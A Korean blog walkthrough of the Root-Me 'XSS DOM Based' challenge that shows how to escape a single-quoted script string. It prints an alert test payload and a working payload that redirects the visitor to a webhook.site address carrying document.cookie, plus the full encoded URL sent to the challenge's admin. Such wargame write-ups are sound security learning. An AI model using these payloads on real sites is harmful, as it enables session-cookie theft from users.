Problem

How-To-Solve

우선 Dom-Based면 페이지에서 어떻게 실행되는지 확인해봐야 한다.

그러면 Number란에 aaaaa를 넣어서 어떻게 실행되는지 확인해본다.

실행되는 형식은 확인되었고 소스코드 내에서 어떻게 실행되었는지 확인해본다.

위와같이 실행되는 것을 확인할 수 있다.

' <---------- 싱글쿼터로 실행되고 있으므로 싱글쿼터를 확용해서 script내에서 XSS를 시도해본다.

';alert(1);'

위 사진을 보면 '를 활용해서 escape한 후 alert를 실행시키는 방식으로 XSS를 실행시켰다.

같은 방법으로 시도해볼 수 있는데 해당 필드가 javascript이고 '를 이용하여 redirect해야하는 방식으로 시도해야 하기 때문에 document.location.href를 활용하여 작성해보고자 한다.

';document.location.href='https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag='.concat(document.cookie);//

location을 활용한 script를 작성하였다.

위의 스크립트를 실행하면 정상적으로 redirect가 되는지 위의 화면에서 확인해보도록 한다.

위의 URL을 보면 webhook으로 redirect되면서 flag필드에 cookie값이 들어간 것을 확인할 수 있다.

이와 같은 방법으로 concat에서 admin에게 URL을 전달해서 flag를 얻을 수 있을 것이다.

http://challenge01.root-me.org/web-client/ch32/index.php?number=%27%3Bdocument.location.href%3D%27https%3A%2F%2Fwebhook.site%2Fab580156-832c-44bb-be26-9fd6395823c9%2F%3Fflag%3D%27.concat%28document.cookie%29%3B%2F%2F

script를 작성한 루 url을 전달했다.

이제 기다리면 된다.

끝!

'Wargame > root me' 카테고리의 다른 글

[Web - Client] XSS DOM Based - Eval  (1) 2023.04.08
[Web - Client] XSS DOM Based - AngularJS  (0) 2023.04.07
[Web - Client] CSRF - 0 protection  (0) 2023.04.05
[Web-Client] CSP Bypass - Inline code  (0) 2023.04.04
[Web - Clinet] XSS - Stored 1  (0) 2023.04.03

+ Recent posts